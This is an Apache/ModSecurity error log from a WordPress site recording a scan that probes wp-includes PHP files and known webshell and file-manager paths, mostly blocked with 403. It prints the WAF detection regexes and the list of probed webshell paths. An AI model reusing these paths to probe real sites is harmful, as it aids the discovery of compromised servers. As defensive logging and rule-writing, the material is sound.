[Thu Feb 26 18:47:15.038966 2026] [:error] [pid 55051:tid 55065] [client 193.37.32.33:58795] [client 193.37.32.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaAkswmK1w2kZvh5eLFZ1wAAAIs"]
[Thu Feb 26 18:47:15.350509 2026] [:error] [pid 55051:tid 55076] [client 193.37.32.24:59359] [client 193.37.32.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaAkswmK1w2kZvh5eLFZ3AAAAJY"]
[Thu Feb 26 18:47:15.609465 2026] [:error] [pid 55618:tid 55631] [client 193.37.32.21:29627] [client 193.37.32.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaAksx61Vrh12f_8oWTUqgAAAQo"]
[Thu Feb 26 18:47:16.040343 2026] [:error] [pid 55051:tid 55076] [client 193.37.32.23:28421] [client 193.37.32.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaAktAmK1w2kZvh5eLFZ4QAAAJY"]
[Thu Feb 26 18:47:16.281702 2026] [:error] [pid 55122:tid 55134] [client 193.37.32.32:24705] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaAktILiR0OfjFxvcN8CrAAAAMo"]
[Thu Feb 26 18:47:17.591013 2026] [:error] [pid 25311:tid 25330] [client 193.37.32.15:58227] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaAktdfdM__yZAgJFSt78gAAAZA"]
[Thu Feb 26 18:47:17.805554 2026] [:error] [pid 55051:tid 55060] [client 193.37.32.26:56439] [client 193.37.32.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaAktQmK1w2kZvh5eLFZ-wAAAIY"]
[Thu Feb 26 18:47:18.299540 2026] [:error] [pid 55051:tid 55077] [client 193.37.32.27:52183] [client 193.37.32.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaAktgmK1w2kZvh5eLFaBQAAAJc"]
[Thu Feb 26 18:47:18.706304 2026] [:error] [pid 55051:tid 55059] [client 193.37.32.12:63157] [client 193.37.32.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaAktgmK1w2kZvh5eLFaEAAAAIU"]
[Thu Feb 26 18:47:19.302800 2026] [:error] [pid 55122:tid 55140] [client 193.37.32.49:62361] [client 193.37.32.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaAkt4LiR0OfjFxvcN8CxAAAANA"]
[Thu Feb 26 18:47:19.866523 2026] [:error] [pid 54991:tid 55030] [client 193.37.32.29:54309] [client 193.37.32.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaAkt94Zx-mJ8gbRB2jAoQAAAEo"]
[Thu Feb 26 18:47:20.503730 2026] [:error] [pid 20419:tid 20430] [client 193.37.32.38:64013] [client 193.37.32.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaAkuO3DVDvMfTYYUBUSTwAAAcg"]
[Thu Feb 26 18:47:21.248369 2026] [:error] [pid 55618:tid 55623] [client 193.37.32.41:23167] [client 193.37.32.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaAkuR61Vrh12f_8oWTUxAAAAQI"]
[Thu Feb 26 18:47:21.728432 2026] [:error] [pid 55051:tid 55054] [client 193.37.32.41:34055] [client 193.37.32.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaAkuQmK1w2kZvh5eLFaMgAAAIA"]
[Thu Feb 26 18:47:23.968972 2026] [:error] [pid 3883:tid 3904] [client 193.37.32.25:48979] [client 193.37.32.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaAku-A33x90V6yYHahCPAAAAVI"]
[Thu Feb 26 18:47:24.322627 2026] [:error] [pid 25311:tid 25328] [client 193.37.32.38:61165] [client 193.37.32.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaAkvNfdM__yZAgJFSt8IgAAAY4"]
[Thu Feb 26 18:47:24.560690 2026] [:error] [pid 55122:tid 55138] [client 193.37.32.31:42261] [client 193.37.32.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.32.31, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaAkvILiR0OfjFxvcN8C6AAAAM4"]
[Thu Feb 26 18:47:24.796111 2026] [:error] [pid 55122:tid 55125] [client 193.37.32.31:42261] [client 193.37.32.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaAkvILiR0OfjFxvcN8C8QAAAME"]
[Thu Feb 26 18:47:25.349925 2026] [:error] [pid 55122:tid 55142] [client 193.37.32.23:54253] [client 193.37.32.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaAkvYLiR0OfjFxvcN8C-wAAANI"]
[Thu Feb 26 18:47:25.643419 2026] [:error] [pid 20419:tid 20433] [client 193.37.32.39:47617] [client 193.37.32.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaAkve3DVDvMfTYYUBUSggAAAcs"]
[Thu Feb 26 18:47:26.299329 2026] [:error] [pid 55051:tid 55074] [client 193.37.32.26:48167] [client 193.37.32.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaAkvgmK1w2kZvh5eLFaXAAAAJQ"]
[Thu Feb 26 18:47:26.609319 2026] [:error] [pid 55051:tid 55056] [client 193.37.32.39:41937] [client 193.37.32.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aaAkvgmK1w2kZvh5eLFaYgAAAII"]
[Thu Feb 26 18:47:27.404466 2026] [:error] [pid 54990:tid 54998] [client 193.37.32.44:64861] [client 193.37.32.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaAkv3tr2qmt_mBhH2wIuQAAAAU"]
[Thu Feb 26 18:47:27.938445 2026] [proxy_fcgi:error] [pid 55051:tid 55057] [client 193.37.32.45:62839] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 18:47:28.227753 2026] [:error] [pid 55051:tid 55071] [client 193.37.32.45:62839] [client 193.37.32.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaAkwAmK1w2kZvh5eLFanQAAAJE"]
[Thu Feb 26 18:47:28.430136 2026] [:error] [pid 55122:tid 55144] [client 193.37.32.51:24945] [client 193.37.32.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aaAkwILiR0OfjFxvcN8DIgAAANQ"]
[Thu Feb 26 18:47:28.978786 2026] [:error] [pid 55618:tid 55643] [client 193.37.32.9:23075] [client 193.37.32.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaAkwB61Vrh12f_8oWTU6wAAARY"]
[Thu Feb 26 18:47:29.199853 2026] [:error] [pid 54991:tid 55044] [client 193.37.32.130:56091] [client 193.37.32.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaAkwd4Zx-mJ8gbRB2jAyQAAAFg"]
[Thu Feb 26 18:47:30.443300 2026] [:error] [pid 55618:tid 55621] [client 193.37.32.18:52717] [client 193.37.32.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aaAkwh61Vrh12f_8oWTU_QAAAQA"]
[Thu Feb 26 18:47:30.688086 2026] [:error] [pid 54991:tid 55035] [client 193.37.32.29:43395] [client 193.37.32.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaAkwt4Zx-mJ8gbRB2jAywAAAE8"]
[Thu Feb 26 18:47:31.606553 2026] [:error] [pid 3883:tid 3899] [client 193.37.32.26:56407] [client 193.37.32.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aaAkw-A33x90V6yYHahCbQAAAU0"]
[Thu Feb 26 18:47:31.782498 2026] [:error] [pid 20419:tid 20439] [client 193.37.32.20:36135] [client 193.37.32.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaAkw-3DVDvMfTYYUBUSsAAAAdE"]
[Thu Feb 26 18:47:33.076573 2026] [:error] [pid 55051:tid 55060] [client 193.37.32.30:23047] [client 193.37.32.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaAkxQmK1w2kZvh5eLFa0AAAAIY"]
[Thu Feb 26 18:47:33.988834 2026] [:error] [pid 55051:tid 55060] [client 193.37.32.4:20345] [client 193.37.32.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaAkxQmK1w2kZvh5eLFa7gAAAIY"]
[Thu Feb 26 18:47:35.974693 2026] [:error] [pid 54990:tid 55013] [client 193.37.32.5:43669] [client 193.37.32.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaAkx3tr2qmt_mBhH2wIxgAAABQ"]
[Thu Feb 26 18:47:36.968999 2026] [:error] [pid 20419:tid 20422] [client 193.37.32.21:20139] [client 193.37.32.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.32.21, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aaAkyO3DVDvMfTYYUBUS6AAAAcA"]
[Thu Feb 26 18:47:37.700602 2026] [:error] [pid 20419:tid 20438] [client 193.37.32.21:20139] [client 193.37.32.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aaAkye3DVDvMfTYYUBUS-gAAAdA"]
[Thu Feb 26 18:47:38.021918 2026] [:error] [pid 25311:tid 25330] [client 193.37.32.28:43759] [client 193.37.32.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.32.28, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaAkytfdM__yZAgJFSt8aAAAAZA"]
[Thu Feb 26 18:47:41.329471 2026] [proxy_fcgi:error] [pid 25311:tid 25329] [client 193.37.32.28:43759] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 18:47:43.483754 2026] [:error] [pid 25311:tid 25321] [client 193.37.32.28:43759] [client 193.37.32.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aaAkz9fdM__yZAgJFSt8pAAAAYc"]
[Thu Feb 26 18:47:44.496373 2026] [:error] [pid 54990:tid 55002] [client 193.37.32.53:53679] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaAk0Htr2qmt_mBhH2wI1AAAAAk"]
[Thu Feb 26 18:47:44.973839 2026] [:error] [pid 54991:tid 55028] [client 193.37.32.10:52013] [client 193.37.32.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaAk0N4Zx-mJ8gbRB2jA7AAAAEg"]
[Thu Feb 26 18:47:46.284676 2026] [:error] [pid 55051:tid 55059] [client 193.37.32.12:57239] [client 193.37.32.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaAk0gmK1w2kZvh5eLFbVAAAAIU"]
[Thu Feb 26 18:47:46.819484 2026] [:error] [pid 55051:tid 55060] [client 193.37.32.35:48027] [client 193.37.32.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaAk0gmK1w2kZvh5eLFbYwAAAIY"]
[Thu Feb 26 18:47:47.371771 2026] [:error] [pid 55618:tid 55636] [client 193.37.32.24:37211] [client 193.37.32.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaAk0x61Vrh12f_8oWTVXQAAAQ8"]
[Thu Feb 26 18:47:48.236451 2026] [proxy_fcgi:error] [pid 25311:tid 25335] [client 193.37.32.44:51985] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 18:47:48.368479 2026] [proxy_fcgi:error] [pid 25311:tid 25329] [client 193.37.32.44:51985] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 18:47:48.475798 2026] [:error] [pid 25311:tid 25326] [client 193.37.32.44:51985] [client 193.37.32.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaAk1NfdM__yZAgJFSt8zQAAAYw"]
[Thu Feb 26 18:47:48.704028 2026] [:error] [pid 55618:tid 55634] [client 193.37.32.21:57167] [client 193.37.32.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaAk1B61Vrh12f_8oWTVdQAAAQ0"]
[Thu Feb 26 18:47:51.761967 2026] [:error] [pid 25311:tid 25315] [client 193.37.32.16:43203] [client 193.37.32.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaAk19fdM__yZAgJFSt9AwAAAYE"]
[Thu Feb 26 18:47:52.164707 2026] [:error] [pid 20419:tid 20442] [client 193.37.32.17:49815] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aaAk2O3DVDvMfTYYUBUTTAAAAdQ"]
[Thu Feb 26 18:49:35.207123 2026] [:error] [pid 54991:tid 55020] [client 94.124.162.12:20841] [client 94.124.162.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.124.162.12, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaAlP94Zx-mJ8gbRB2jCJQAAAEA"]
[Thu Feb 26 19:30:19.895131 2026] [:error] [pid 55051:tid 55070] [client 49.51.166.228:58870] [client 49.51.166.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaAuywmK1w2kZvh5eLGNwAAAAJA"]
